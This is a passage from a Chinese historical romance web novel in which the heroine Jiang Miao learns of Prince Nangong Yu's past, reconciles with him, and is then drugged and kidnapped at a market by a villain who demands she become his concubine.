“那会儿,父皇才登基没有多久,苏娘娘生下了一个皇子,也就是五弟。”
“苏家帮助父皇谋得了帝位,父皇对苏娘娘也是极为恩宠,如今喜得皇子,苏娘娘破例被封为贵妃与佳贵妃同享尊荣。宫中之人向来趋炎附势,所有的好处都紧着苏贵妃的宫殿,连五弟……。”
南宫凝顿了顿,又说道:“连五弟才出生不久,诸位大臣便想推他成为太子人选。父皇不愿他卷入朝堂风波之中,对他极尽保护。想来,那也是五弟最快乐的一段时光吧。和我一样,如在梦境,犹如泡沫,破碎之时,梦就该醒了。”
“苏家因为通敌的罪名被判处满门抄斩,虽然未殃及到贵妃娘娘,可是她因此急火攻心,不久后便撒手人寰。贵妃娘娘去后,父皇一反常态,彻底冷落了五弟。”
“可怜他小小年纪就失去了母妃,又失去了父皇宠爱……”
“在这皇宫,没有宠爱,那么等待着自己的便只有死亡一条路。好在杨老将军见五弟可怜,求了父皇的恩准,将他带到了边关。这一去,就是十年。”
“小时,苏娘娘与我母妃交好。五弟也常与我相伴做读。他明明是那样的阳光明媚,十年的光景却将他改头换面,硬生生的变成了世人口中的修罗王。”
说到这里,南宫凝不忍摇头低叹。北郡荒芜,又有骁勇善战的蛮族对大盛朝虎视眈眈。他若不成为冷血杀手,怕也不知死了多少回。只是想到他少时天真无邪的模样,与如今判若两人,难免有几分伤心。
48.指教
窗外蝉鸣起伏,暑气蒸腾。
江渺接过阿洛送进来的解暑汤,轻轻放到南宫凝的面前。
南宫凝拨弄白色的汤匙,看着棕褐色的汤汁泛起涟漪,轻声一叹:“渺妹妹,五弟他虽然对人冷冷淡淡,可是我想他的心从未变过。那日,他来宫中寻我帮你,居然带来了我少时最爱的桃花酥。你知道吗?我与他十年未见,他是除了母妃以外,唯一一个还记得我喜欢吃桃花酥的人……”
南宫凝絮絮叨叨念着,似乎想要劝说江渺不要误会南宫煜。但江渺听到南宫凝说南宫煜请她帮忙一事时,眉头一皱,下意识地脱口而出:“睿王殿下请姐姐帮我?帮我什么?”
听到江渺反问,南宫凝止住话头,突然意识到自己失言,急忙找补:“姐姐说错了,是五弟来寻我帮忙查出真相一事……”
那日南宫煜当着江渺的面让南宫凝帮他,江渺是知道的。可是江渺还是觉得南宫凝说的不是这件事情。
她与南宫凝之前并无其他的交情,若说帮忙,唯有在安国公府那次,是她帮她解围了。
如此说来,怕是当时在花园里遇到南宫凝并非偶然。
想到这里,江渺脑海中那些断裂的珠子,神奇般的被串联在一起。她突然想明白了为什么从不参与任何宴会的南宫凝会突然出现在安国公府,又提出要与她南下,这其中应该是南宫煜在帮忙吧。
江渺盯着南宫凝,神色复杂,“姐姐你莫要骗我,在安国公府,是不是睿王殿下请你帮我解围的?”
她虽是反问,可是语气笃定,南宫凝见已经瞒不过她。虽然她答应南宫煜这件事情不要让江渺知晓,但又不是做坏事,况且是江渺自己猜到的,就算说了也没关系吧……
这样一想,心里没有了负担,她抬起头来直视江渺:“是的,渺妹妹,我就和你坦白了吧。我本来无意去安国公府,那国公府的老夫人是佳贵妃娘娘的娘家人,我母妃与佳贵妃不睦,我对佳贵妃也敬而远之,自然不会去国公府。”
“是五弟来找我,请我帮你。”
“那时,我听说过你的名字,也知道佳贵妃正在与父皇商议让你做陵王妃之事。”
“我想不明白,五弟为什么要帮陵王的人。因此,我拒绝了他。”
江渺没料到南宫凝与陵王似乎也不对付。但转念一想,世家贵女有几人会对曾经痴缠陵王,闹得满城风雨的原主有几分好颜色,南宫凝不愿意帮她也是情理之中,犹豫一瞬,还是问道:“那姐姐为何又帮我了?”
“五弟给我讲了,你在山里救了他的事情。”
江渺有些诧异:“就因为这个?”
“对。我想一个能够不顾自己安危,也要去救另一个重伤的陌生人的人,怎么会与滥杀无辜,残害忠良的陵王党为伍。”
信息量有点大,江渺陷入沉思。
南宫煜是北郡将领,又是皇子,离奇在返京路上身受重伤,流落深山,性命不保,这其中牵扯之事定是不简单。所以江渺在得知南宫煜的真实身份后,一直装作无事发生。
身陷囹圄,皇权之争,周围都是虎视眈眈的敌人,想必南宫煜也不会轻易暴露自己,所以江渺默认除了他们以外,应该不会有其他人知道。
但是没想到南宫煜竟然为了帮她,将此事告知了三公主,还请三公主护她一路南下。
其次,陵王一向仁义爱民,在民间广受好评,即便面对原主的胡搅蛮缠,也未曾对她恶语相向,世人皆说陵王心中宽广,不负贤明。
即便江渺做鬼时,亲眼见到陵王为林清月报仇而狰狞刺杀原主的模样,那时她也只是觉得陵王对林清月爱的深沉,所以才会失了心智。
如今听南宫凝所言,似乎陵王也不似传说中那般……
窗外蝉鸣声渐响,搅得人的心绪越发纷乱。
见江渺久久不语,南宫凝伸手握住了江渺的手:“渺妹妹,我真心将你当做妹妹,所以也想劝你一句,陵王并非良人,你不要将自己陷入危险之中。”
“我知道你很喜欢陵王,可是……”
听到这句话,江渺忽地从自己的思绪中挣脱出来,她认真地说:“姐姐,你忘了我和你说过,从前种种于我而言恍若大梦一场,我已梦醒,与陵王再无那种想法。”
毕竟当初她追陵王之事,可是连专心修道的陛下也有所耳闻,她轻描淡写地解释几句,又怎么会让人尽信?望着南宫凝半信半疑的面容,江渺有些无奈地笑笑:“姐姐,我且问你,你是否知道是何人伤了睿王殿下?”
南宫凝摇摇头,“五弟骁勇善战,武艺高强,寻常人没有能力伤得了他。而他久居北郡,多年未曾回京,不可能在朝中树敌。追杀他之人手段狠辣,踪迹涂抹得干干净净,最终也未查到究竟是何人所为。可……”
南宫凝语气突沉,不再言语。
江渺却意会到她的意思,低声道:“姐姐,你猜是陵王,对吗?”
南宫凝蓦地睁大眼睛盯着江渺。
江渺从她的眼神中得到答案,低叹一口气。皇权之争,孰对孰错江渺没有资格去评论,她不过想好好活着,并不想卷入权利争夺的漩涡中心。
“姐姐,你能猜到是陵王所为,睿王殿下自然也能想到。但是陵王在昌都势力盘根错节,早已只手遮天,就算知道怕也不能对他如何。”
“刺杀皇子,何等罪名。陵王却不顾及兄弟情分,伦理纲常,无视国法家规,可见陵王性情并不如传说一般仁义礼爱。”
“这样一个人,我也不愿意嫁。”
南宫凝细细品着江渺口中的每一句话,沉默一瞬又问道:“你是因为五弟,所以改变了心意?”
江渺摇头,“我决定不喜欢陵王无关于任何人,只是我发现我与他并非一路人,所以想要远离罢了。”
“况且”,江渺叹口气:“睿王殿下不是已经帮我选择了吗?
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”
南宫凝疑惑眨眼。
江渺又道:“睿王殿下与陵王势同水火,而我现在与睿王殿下同行,在陵王殿下眼中怎么看呢?”
南宫凝解释:“我们一路化名而来,行踪隐秘,五弟又小心打点,也不会将这些事情传回去……”
“姐姐,陵王电话权势滔天,他真的会不知道我与睿王殿下同行之事吗?”
“哎……”
南宫凝以为江渺这一声低叹是在为与陵王成为敌人而叹息,却又听江渺说道:“怕他早就知道我与睿王相处甚密之事。”
“如果我再回到陵王身边,你觉得陵王会不会觉得我是睿王派来的奸细而杀之后快呢?”
说着,江渺又想起上一世陵王答应迎娶原主,却在得知林清月才是真正的侯府嫡女之后,无情地将原主送入天牢之事,心下一片骇然。
他爱的从来都不是她。
就算没有林清月,他利用完她的价值后,也一定会被弃如敝履。
“渺妹妹,五弟并非想要将你置于风口浪尖……”南宫凝解释道:“你曾经与陵王纠缠不休的传言满城皆是,就算你决定不与陵王在一起,恐怕也不是那么容易能够全身而退。”
南宫凝说的是,江渺费心想要与陵王撇清关系,睿王此举倒是干净利落,不仅以后都做不成夫妻,还成了敌人。
江渺有些哭笑不得。罢了,看在南宫煜帮了自己的份上,不与他计较,可是他也太霸道,谢知言的事情他需要给她一个解释。
“渺妹妹,我了解五弟,他是个重情重义之人,你救了他,他必是记在心上的。你不要因为这事而记恨他……”
南宫凝似乎很担心江渺因此与南宫煜心生怨恨,急急地与江渺解释。
“我明白的,凝姐姐。你不要忧心。”江渺拍拍南宫凝的手背,“有些事情我需要自己去向殿下确认,今日谢谢你告诉我这些。”
“听说今日集市上会来一批珍品,等我回来,我们一起去看看罢!”
南宫凝见江渺确实没有生气,心下稍安,配合的点点头,放江渺离去。
廊下日影正烈,店中却一片清冷。看来诊所南宫凝所言,南宫煜暂时封\锁了客栈。
怕真的情况有变。
江渺绕过回廊,径直走向东厢那扇紧闭的房门。她抬手欲叩,却在触及门扉前顿了顿。
指尖悬停片刻,终是轻轻落下。
“叩、叩。”
屋内静了一瞬,随即传来一道清冷的嗓音:“进。”
江渺推门而入。南宫煜正端坐在案桌之前,手中执着一卷舆图,闻声抬头看来。
午后炽光透过窗纱,将他身影勾勒得清晰而挺拔,整个人都处在一片朦胧的光晕之中。
“殿下。”江渺合上门,缓步走近。
南宫煜放下舆图,目光落在她脸上,似已料到她的来意:“江小姐有何指教?”
49.和好
【听这语气,是还在生气啊。】
【睿王殿下平日也不是这般小气的人……】
江渺见南宫煜面色沉冷,语气疏淡,心中暗暗嘀咕了两句。面上却浮起几分温软笑意,手迅速探入袖袋,取出一个青瓷小瓶,几步上前,不等南宫煜反应,便将药瓶轻轻推到他面前的书案上:“殿下,这药能暂缓您体内余毒,睡前服用一粒,或可安神。”
南宫煜的目光在药瓶上停留片刻,旋即落到江渺含笑的脸上。他凝视着她,眸色深深,似要穿透那层笑意看清内里,半晌才冷声开口:“你特地过来,就为送这个?”
自然不止。可他那目光犹如实质,灼得江渺心头发紧,喉咙像是被什么堵住了,一时竟失了声。
方才在自己房间里理清思绪时的坦然果决,此刻在他面前,竟化作了无形的局促。
南宫煜为她暗中打点诸多,若谢知言当真身份有异、接近她别有所图,自己却为了一个居心叵测之人,反过来质问他、伤他心意,未免太过不识好歹。
心绪翻腾,话到嘴边却不知该如何起头。南宫煜见她只怔怔站着,以为她心中还在为谢知言不平,周身气息陡然又寒了几分:“谢江姑娘赠药。若无他事,本王尚有公务,姑娘请回罢。”
江渺闻言,指尖轻轻绞住了衣摆。她抬眼环顾四周,心下一动。
“殿下,”她试探着开口,“可是……出了什么事?我见客栈内外戒备突然严密,莫非有刺客踪迹?”
南宫煜闻言,嘴角勾起一抹极淡的冷笑,那笑意浅浅,更让人心生寒意:“刺客?”他目光如霜,掠过江渺的脸,“江姑娘将不明底细之人带在身边时,不曾想过危险二字么?”
江渺心头一跳:“殿下是说……谢知言?”
“本王并未指名道姓。”南宫煜收回视线,重新落回案上舆图,语气恢复平淡,仿佛说起了一件无关紧要的事情,“只是提醒姑娘,有些人看似温文无害,却未必与你同路。江湖风波恶,姑娘既已选了独木桥,便该擦亮眼睛,好自为之。”
他这话说得隐晦,可是江渺立刻就明白了他暗含的意思。
先前种种浮现心头,先说与谢知言初见是在提灯节的画舫之上。江渺记得,那画舫接待的都是些达官贵人,往来皆需要特定的通行证。
那日江渺是被江璟儿和安乐双双设计才入了画舫之中,随后遇到刺杀,再被谢知言搭救。
江渺从未细想过谢知言的身份,能进的了画舫之内的人本就不简单。可若说他是某位达官贵人,又怎么会出现在杏花村,还那么巧合的在江安镇将她救下。
真的只是巧合?可这巧合,未免又太过刻意了一些。
江渺努力在脑海中搜寻了一番有关于谢知言的信息,可惜一无所获,无论是在原主的记忆里,还是魂游之时,江渺都确定她从未见过谢知言这个人。
也不奇怪,从她魂穿后,发生了许多原主未曾遇到过的事情,恐怕这个世界,早就因为她的到来,而悄然发生了许多变化。
可她与谢知言既然无冤无仇,他又救过她,江渺想不出,谢知言接近她能有什么目的。
一个念头在脑海中极速闪过,若接近她的目的,不是她,而是其他人呢?
凝姐姐?
不,不可能。江渺飞速地摇头,她让南宫凝帮忙招呼谢知言,他们两人已经独处过一段时间,若是谢知言的目标是南宫凝,那他早就得手了。
那如果不是凝姐姐,那又是为何。
江渺现下有些后悔,早上与谢知言谈话时未曾打听一些有关于他自己的事情,若能有点线索,现下也不用猜忌过去,猜忌过来了。
江渺面色阴晴不定。南宫煜知道自己话起了作用,语气也稍稍平和下来:“江姑娘,你金尊玉贵养在侯府,不知人心险恶,还是莫要轻信他人为好。”
江渺抬起头来,目光正落在南宫煜的眼睛上,那目光平静无波,仿若看透了人心。这是他惯有的表情,可这幅样子,却在遇见她与谢知言一路时,又不太相同。
在谢知言的面前,他似乎有很强的敌意。当江渺维护谢知言时,他又似乎在气恼着什么。
江渺想起他拉着她的手气冲冲地要离开时的样子,与现在的站在自己面前的样子判若两人,一个模糊的念头在心头悄然生起,王爷这气恼,莫非不止因为谢知言可能别有用心,还因为……因为她与谢知言走得近?
这念头让她耳根微微一热,随即又觉荒唐。
【一天胡乱想些什么?】
【殿下不过是担忧解药之事,别给自己脸上贴金了!谁在乎你啊?!】
【疯了,我肯定是疯了!】
江渺兀自想着,肩上两个小人吵个不停,丝毫没有注意到南宫煜的身子微微歪斜了几分,面上一热,又故作镇定地抬眼看过来,语气中带着解释的意味:“我只是不想你出事,到时候没人给我制作解药。”
“是是是。是我多想了,殿下放心,我一定尽快做出解药来,不给殿下添麻烦。”江渺思绪纷杂,过了片刻才反应过来,南宫煜怎么像是听得到她心里话一般,怎么每次都能精准刺中她的心窝。
一想又觉得是自己想多了,南宫煜聪慧,看穿了她的这点小心思也不一定,以后定要谨言慎行,莫要再露出什么马脚来。
“殿下,”江渺的声音软了下来,带着几分小心翼翼的诚恳,“我并非不识好歹之人。殿下多次相助,我都铭记于心。谢公子之事……是我思虑不周。只是,我与他相识于微时,他数次援手亦是事实。若只因疑心便全然否定,未免武断,也非处世之道。”
她顿了顿,抬眼认真看向南宫煜:“殿下若知晓什么,可否……明白告诉我?也好让我心中有数,知道该如何防备。”
南宫煜低下头去,不在看她,沉默良久,才低沉道:“此人背景复杂,牵涉颇深,其中关节,现下不便与你明说。只想告诉你
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,他接近你,目的未必单纯。眼下我虽不知道他为何接近你,但……”
他终是抬头,目光与她相接,那里面的凝重让江渺心头一颤,“离他远些。至少,在查明之前,莫要轻信。”
这已是难得的直言。江渺看清他眼底那抹不易察觉的关切,心中那点残余的别扭终于烟消云散。
“我明白了。”她轻轻点头,语气郑重,“我会小心。也……多谢殿下提点。”
南宫煜似乎没料到她这般干脆应下,神色微缓,那股迫人的冷意消散了些许。他嗯了一声,重新提笔,却添了一句:“南下途中,邻近数县因水患滋生流寇,近来颇不太平。客栈内外我已加派人手,你们暂且在此多停留几日,待前方道路清理妥当,得了我的讯息,再动身不迟。”
烈日酷暑,江渺早就听闻前方有几个村镇不同程度的发生了水患,民不聊生。山匪流寇趁机出动,掀起了不小的风波,朝廷派了人来解决此事,正是多事之秋,还是小心为好。
“是。”江渺应下,随即又像是想起来什么,问道:“那殿下还要离开江安镇吗?”
南宫煜此次回来是为救江渺而来,如今她已平安,而北郡军务与京中暗查之事却悬而未决。尤其近来辖境内接连发生数起女子失踪案件,民间惶惶,他需亲自督办。
“尚有公务亟待处置。”他笔下未停,声音还是冷淡无波。
“那您什么时候出发呢?”江渺小心翼翼问道。
“嗯?”南宫煜行程向来神秘,江渺也知道这是为了防止敌人暗害,而从不轻易透露给他人。她们也未曾主动问过南宫煜,如今江渺突然开口,引来了南宫煜的一声疑问。
就在江渺觉得自己有些唐突想要作罢时,南宫煜瞥了一眼她略带期待的面容,突然轻描淡写地开口道:“明日一早。有事么?”
迟疑了一瞬,江渺还是开口道:“那殿下能否赏脸一起用个晚膳?”
因着处理公务的原因,南宫煜的吃食一直都是由人送进房间单独食用,虽然同行了数日,几人还未曾一起用膳过一次。
“若是不方便,那就……”
“可以。”
江渺话音还未落,便被南宫煜打断,她脸上一瞬的愕然被笑意取代。南宫煜便见到眼前少女笑容如春风化水而来,蓦地一紧张,他迅速别开目光,低头装作没有看到,只听得少女带笑的声音传来:“好,那准备好了,我再来请殿下。”
南宫煜压下心头悸动,执笔起来,只在
鼻中,轻轻地嗯了一声,不再多言。
江渺福身一礼,转身退向房门。
等到室内重新归于一片宁静,南宫煜这才发现墨汁从笔尖滴落,在纸上洇出一片墨黑。
我这是怎么了?
为何有些……欣喜。
南宫煜摇摇头,将那些纷杂的念头从脑海里强行剥离,放下笔,换了一张纸。
这丫头还挺会审时度势。
50.绑架
从南宫煜房中\出来,江渺回房小憩了片刻,待精神稍复,便去邀南宫凝同往集市。
今日市集确比往日热闹,摊贩云集,琳琅满目。两人沿街缓行,不时被精巧新奇的物件吸引驻足。
南宫凝久居在宫闱,惯常见的是珍玩古器,反是这些市井小物,那些个憨态可掬的面具、晶莹剔透的糖人、色彩斑斓的编结,更令她目不转睛。
她立在一个小摊前,望着那串用各色贝壳细心串成的风铃出神。海贝薄脆,在微风中左右摇摆,贝壳撞击而发出的叮咚之声清浅悦耳,令人心情愉悦。
江渺见她很是喜爱,含笑买下递到她手中:“这声音听着清凉,正适合夏日。送给姐姐。”
南宫凝脸上漾开欣喜,小心接过风铃。
她虽然很喜欢这些小玩意,可是宫中嬷嬷常常教导于她,公主的喜好举止皆须合乎身份体统,不可如寻常女子般随心所欲。方才她虽看了许久,却未敢流露买意,生怕失了分寸,亦怕江渺觉得她孩子气。
未料江渺不仅察觉,更体贴相赠。她心头微微一暖,也主动挑了一根编织精巧的赤色绳结,执意要为江渺系上。
“渺妹妹,这个给你。”
红色的绳结被南宫凝仔细系在江渺的手腕上,更衬得肌肤莹白似玉。南宫凝端详着,很是满意,抬眼却瞧见江渺神情恍然,不由问道:“怎么了?可是不喜欢?”
听到南宫凝的话,江渺的思绪被打断,她伸手摸了摸那光滑的绳结,有些感慨:“没有,凝姐姐我很喜欢。只是突然想起了我家中的妹妹,她也送过我类似的编绳。”
南宫凝拉着她的手,轻声道:“可是想家了?”她们已经出门数十日,她还好,无甚牵挂,但是南宫凝听说柳如云视她如至宝,那定是百般疼爱中长大的,离家这么长时间,应该是不习惯。
江渺却摇头:“倒也不是。只是离京日久,不知安乐郡主现下如何了。”
听她提及安乐,南宫凝脸色微沉:“她几次三番欲置你于死地,你还惦念她作甚。”
察觉南宫凝不悦,江渺挽过她的手臂,软声道:“姐姐误会了。我并非念她,只是由小妹想到江家,又由江家……想到这些纠缠罢了。”她顿了顿,声音更低,“其实她与我从前一样,皆是被情字障目,执迷难返。只不过我侥幸醒了,而她尚未罢了。”
南宫凝沉默片刻,方道:“即便没有你,她性子如此,也未必能有善终。各人有各人的缘法,你不必为此挂怀。”
江渺颔首。
是啊,前世原主一意孤行,最终害人害己,尸骨无存,那也是她的命数。而今生这条路,是她自己选的,她要怎么走也应该由她自己决定。
她不再去想,拉着南宫凝往前走去。转过街角,人潮愈密,江渺小心护着南宫凝,随行护卫亦步亦趋,不敢有半分松懈。
走了几步,南宫凝便被前方画糖画的老人吸引,看他以铜勺为笔,糖稀为墨,手腕翻转间,飞禽走兽便栩栩如生地凝在竹签上。她看得入神,浑然忘却身份,眼中满是孩童般纯粹的好奇。
江渺望着她侧脸,心下微软,暗叹这位金枝玉叶的公主,心底仍存着这般天真烂漫。她低声嘱咐琼枝仔细照看,自己则目光流转,瞥见街角一处不起眼的摊位,地上似乎散放着几株灰绿色草药,形貌颇似她近来苦寻的南陵草。
此草生于深山背阴湿滑之处,极畏强光,采摘时机又苛刻,仅在新月前后数日药效方足。且其植株与数种毒草相似,非精通药理者难以辨识,故而市面罕见,可遇难求。
江渺心头一动,不及多想,便要朝那角落走去。
本也看糖画看得入神的阿洛,感受到江渺的动作,不禁脱口喊道:“小姐,您去哪儿?”
江渺指了指前方:“我去那边看看药材,不远,你陪着姐姐罢。”
阿洛见那摊位相距不过数丈,又有护卫跟随,略放下心来,叮嘱道:“那小姐仔细些,人多莫挤着了。”
江渺朝她挥挥手,径直走了过去。
市集上摩肩接踵,人声鼎沸,夹杂着货郎吆喝、孩童嬉笑、锅勺碰撞的喧嚣。她侧身避开一个扛着草靶子的货郎,又小心绕过围聚在杂耍摊前的人群,目光始终锁着那几株草药。
就在她快要接近摊位时,斜刺里猛地一股大力撞来!江渺猝不及防,脚下踉跄,整个人朝着右边的巷道跌去。
撞她的是个戴着破斗笠的粗汉,身形魁梧,头也不回地挤入人群,瞬间消失不见。
“姑娘,可安好?”护卫上前来扶起江渺。
江渺拍拍身上的灰尘,好在跌的不厉害,没伤到什么地方。只是上下一摸索,发觉腰间挂着的玉佩不见了,那是她出门前柳如云去寺里求来,亲手替她系上平安玉。
刚刚那人……
江渺低呼一声:“是那人,那人顺走了我的玉佩。”
“属下去追。”两个护卫快速地交换了眼神,一人果断朝着汉子消失的方向追过去。
她来集市两次,第一次遇到横行霸道的刘二,第二次又遇到抢劫,看来真是命里和这江安镇犯冲。心里暗叹几句,又检查了一下没有丢失别的重要东西,也就侧头对护卫说道,“我没事,好像只丢了玉佩。”她抬眼看了看街上往来的人群,心头涌上几分不妙的感觉,又说道:“人太多了,容易有危险,不如叫姐姐她们过来,我们回去罢。”
“是。”护卫依言照做,转身朝南宫凝的方向走去。
江渺眼光重新落回药草上,整理了衣襟,正欲走过去,眼前的光线骤然一暗,一条厚布毫无征兆地从侧后方猛地捂住她的口鼻!
不好!是迷\药。
那气味直冲颅脑,意识迅速流散,江渺脑中最后得出这个结论,眼前瞬间昏黑。
待她再次醒来,睁眼便看到不远处端坐着一名年岁与江伯玉不相上下的男子,正目不转睛地看着她。
她下意识地想要后退,却发现自己被五花大绑在椅子上,分毫也动弹不得。
这是……被绑架了?
天呐,一定
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要相信自己的第六感觉,不能出门,就千万别出门。
问题是这人是谁?
饶是搜索了所有的联系人方式,江渺也不知道这人是谁。
不知道对方的目的,问题便不好解决了。
正想着,一人推门进来,向着端坐的男子低声禀报道:“主子,尾巴甩掉了。”
男子抬手示意知道了,来人见状自觉地退到一旁去。
江渺定神一看,这人不正是在市集上将她撞倒的汉子吗?看来他们是有预谋有计划的绑架她,他口中的追兵怕说的是她的护卫。
南宫煜留下的人,本就各个高手,能够轻易摆脱他们的追查,眼前之人应该也不简单。
若是使诈或下药,恐怕自己还没出手,就被杀人灭口了。
但是这人抓了她,却不杀她,想来应该是她活着还有作用。
人在屋檐下不得不低头,先逃命再说。她只是怔愣一瞬,眼中的惊惧尽消,语气平静地开口道:“大人,不妨明示抓我来所为何事?”
男子显然未料她如此快便恢复冷静,眼中掠过一丝欣赏,随即却浮起更为复杂的晦暗情绪。他静默片刻,方缓缓开口:“你不怕么?”
这声音,江渺脊背骤然一僵。
前夜破庙之外,隐匿于暗处与刘二对话的那个男声……与此刻眼前之人,重合了。
他是刘二口中那位姑父?
她下手果决,又有谢知言为她清扫后路,江渺不认为他们留下了什么把柄,可是眼前之人这么快就出手绑架了她,究竟是巧合,还是对方太过聪明,已经知道了她的所作所为。
她心弦骤紧,面上依旧强装镇定:“我若说怕,大人会放了我吗?”
那人嗤笑一声,“自是不能。”
江渺垂眸,低声道:“那怕与不怕又有何分别?”
男子似乎讶于她的镇定,身子微微前倾,语气中多出了几分兴致:“怎会没有分别?若是你哭着求我,或许我会一时心软放了你呢?”
江渺抬眼看向他,“大人如此费心将我绑来,还亲自审问,想必也不是来请我来求饶的。大人有何指示,不如明示一二?”
男子眼中讶异更深,身子微微前倾,将她上下细细打量一番,忽而低笑一声:“倒是是个伶俐人。就这么送走,确实可惜。”
听闻他所言,男子身后站着的一长衫男子俯身过来,在他耳边低言了几句,对面的男子眸色一亮。
他重新转过头来,直视江渺:“你是不是想知道我为何绑了你来?”
江渺抬眸,“大人请说。”
“有人要你死。”
这个回答,江渺并不诧异。毕竟她已经经历了太多的明枪暗箭,只是如今安乐昏迷未醒,江璟儿被囚禁,有谁还能直接向她出手?是昌都的人,还是……
沉默一瞬,江渺道:“大人想让我做什么?”
“聪明!”男子对她的回答很满意,径直从椅子上站起来,距离她一尺之地睥睨着她:“做我的人。”
51.逃跑
什么?
果然皆是一丘之貉。江渺听他说完,心中是气愤不已,还以为他能够说出什么惊人的话语,没想到竟是如此不要脸的发言。
什么叫做做他的人?
他可知他年龄大的,都可以做她的父亲了。
若是柳如云在这里听到他的这句话,怕是要怒火攻心,与其搏命。
江渺直视眼前男子,神色晦暗不明,“大人,你可知你在说些什么?”
男子勾嘴一笑,“自然知道。”
江渺道:“那大人的做你的人是何意思?是要娶我做妻?”
他身后的幕僚站出来,横插一句:“我家老爷已有妻室,怎会娶你做妻。老爷的意思,你若是同意做妾,我家老爷便留你一命。”
此事太过于荒唐。江渺并不认识眼前之人,唯一能有所关联之处,便是这男子可能是刘二口中的姑父。
但是从她醒来到现在,这男子也未曾提到一句与刘二相关的话,江渺猜测他的目的并非是来为侄子复仇,所以镇定地套话,却没想到听到这样无耻的要求。
强抢民女是他刘家的传统吗?
前夜,破庙中密谈的话又在脑海里回荡,他们所谋之事肯定只是拐卖妇女那么简单。眼前之人要她做妾成为他的人,是否也与背后之事有所关联。
江渺不确定。
但是此刻她没有办法不妥协,先保命要紧。
心中思绪万千,沉默片刻才开口道:“大人的意思是只要我顺从做大人的妾室,大人就会不杀我?”
男子点头,并未开口。
江渺又道:“做妾需父母同意,也需要登记造册,过文书。况且关乎终身大事,我不能一人之言应允大人的要求。”
“那并不是我要考虑的问题,也并非是需要考虑的问题。”男子盯着她,又道:“我并非在听取你的意见。”
江渺冷笑一声:“既如此,大人这与强抢又有何分别?”
“你老老实实的呆在我身边,我可以保你此生荣华富贵,有何不好?”
荣华富贵……
他还真敢开口,敢问普天之下莫非王土,她连陵王那破天的富贵也未曾想过,他用什么保他荣华富贵,莫非他比陵王权势更甚?
眼前之人可真是大言不惭。
但是江渺也并非一无所获,至少通过这段对话,她猜测眼前之人并不知道她的真实身份。
不知她真实身份,却对她报有杀心。虽不知为何让此人转了念头,或许她本身的存在就可以为他带来更大的好处。
既然是好处,所谋的不过是权势二字。若是她能给他提供更多的好处,或许事情还有转机也不可说。
江渺也不与其废话,直接说道:“大人所说保我荣华富贵可当真?”
男子颔首:“当然。”
“那我说我能让大人平步青云,富贵更上一层楼,大人可否成为我的人?”
男子闻言眸色一冷,幕僚率先俯身下来向他低语道:“上面只说这女子惊扰了贵人,所以要取其性命,并未言明她的身份,听她所言,怕是她的身份也并不简单?”
男子抬眸看过来,江渺一脸冷笑,并未有半分惧怕之色,倒让他心头有些发虚。
“不如找刘二来,将其一同交上去?”
男子略做思考,同意了幕僚的提议。他不再多言,起身向外走去,将江渺一人留在了原地。
片刻,屋内之人尽数离去,只留数人对她严加看管。
这变化来的快,江渺一时也不知发生了何事。看样子自己的话应该起到了威慑作用,他们或去探听她身份,或去商量对她做何处置。
但是不论如何,此刻她孤身一人被关在了屋子内,那么就给了她思考如何脱身的机会。
*
这边,南宫凝惊得花容失色,从马车上飞身下来,不及左右护卫行礼,箭步冲向了南宫煜的客房。
不巧,南宫煜刚接到急报,策马前去十里之外的村落,只余三千一人在房内整理文书。
听到南宫凝所言,三千立刻翻身上马,策马如飞一般朝南宫煜离开的方向追去。
一路心急火燎,片刻不敢停歇,转眼却也过了一盏茶的时间,终于看到了王爷的身影。
他翻身下马,飞扑到队伍之前,南宫煜正在与一官员交谈,余光瞥见三千的身影,眸光蓦地一冷。
他将三千留在客栈保护众人安全,见他满脸焦灼的模样,心下不安,朝三千走过去。
行至僻静处,三千将南宫凝所言细细告知。南宫煜听完,面色未变,眸色却如覆寒霜:“我知道了。”
言罢又转身去与那位官员略微交代几句。官员躬身行礼:“王爷旦去无妨,下官必定按照王爷吩咐,小心照看。”
南宫煜颔首。待翻身上马朝江安镇奔去,南宫煜的脸色彻底阴沉下来。
近日各地少女失踪案件频频发生,昨日他才顺藤摸瓜查到被江渺所杀的刘二是其爪牙之一,那群人若是知道自己的人已经死亡,怕是会有所行动。
他已加派人手保护众人安全,却没想到还是在他眼皮子底下将人掳走。
“先去事发地点看一下。”南宫煜挥鞭策马,朝着江安镇的集市疾驰而去。
市集早已散去。
之前追玉佩的护卫也得到命令在市集出事处等着南宫煜。
那护卫将追踪汉子至南街处便失去踪迹之事细细禀报。
“江姑娘是在看药材摊时被人撞倒,趁护卫分神之际被掳走。对方手法老练,用的是江湖上下九流的迷烟,现场除了江姑娘不慎掉落的一枚耳坠,几乎没留下痕迹。但属下询问了周边几个摊贩,有人隐约看到一辆青篷马车在事发后快速驶入西街巷子,形迹可疑。”
南宫煜沉声道:“三千你派人顺着西街的巷子去追查,王阳你带人一起去那人失去踪迹的地方继续看看有无可疑线索。”
“其余人,跟我走。”
他言罢,立刻翻身上马,朝着西南方向的率先追了出去。
*
这群人怕是不少做这样的腌臜事。
江渺双手在身后扭动几下,却因为绳索的缘故,无法动弹。这绑人的方式,不知有多少人被如此对待过。
她左右环顾房间,屋
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内陈设简单,除了两张椅子以外空无一物。四处的窗也被木板钉死,只留一些透气孔。
阳光透过缝隙照进来,江渺看见角落堆放着一摞干草,那草的中央似乎还包裹着一些碎布。想来,他们之前掳来的女子就被绑在此处,而草垛是她们唯一取暖的地方。
江渺灵机一动,对着门外大声呼喊起来:“来人呀,来人!”
很快,门锁咔哒一声被打开。方才在街上撞他的汉子走进来,面色阴沉的看着她:“怎么了?”
江渺装出痛苦的表情,“你看现在都什么时辰了。我从早上到现在还没有吃饭,吃饭,我要吃饭!”
她怒吼两声,汉子斜睨着她,似在打探真假。
“忍着。”
半晌,那人丢下一句,就要离去。
江渺着急在他身后喊道:“你家主子到现在也没有伤我分毫,若是我有什么好歹,你能负责吗?”
闻声,汉子果然回头看了她一眼,又丢下一句:“等着。”
没有废话,转身出了房门。
江渺趁此机会积攒力气,没等多久,房门再次被打开,汉子端着一个粗陶碗进来,里边是清可见底的稀粥。
“喝!”
江渺皱眉,言语不满:“我被绑成这样,怎么吃?”
汉子面无表情,朝前走了几步,凑近江渺,冷声道:“喝!”
就在此时,江渺见他将陶碗凑近,装作不悦的样子,猛地拖着椅子起身向前扑过去:“我不吃这个!”
汉子愕然,立刻抽身向后退,手中的陶碗却没有躲开,哐当一声摔在地上,碎成几片。
与陶碗一起摔在地上的还有江渺,她哀叫一声:“疼死我了!”
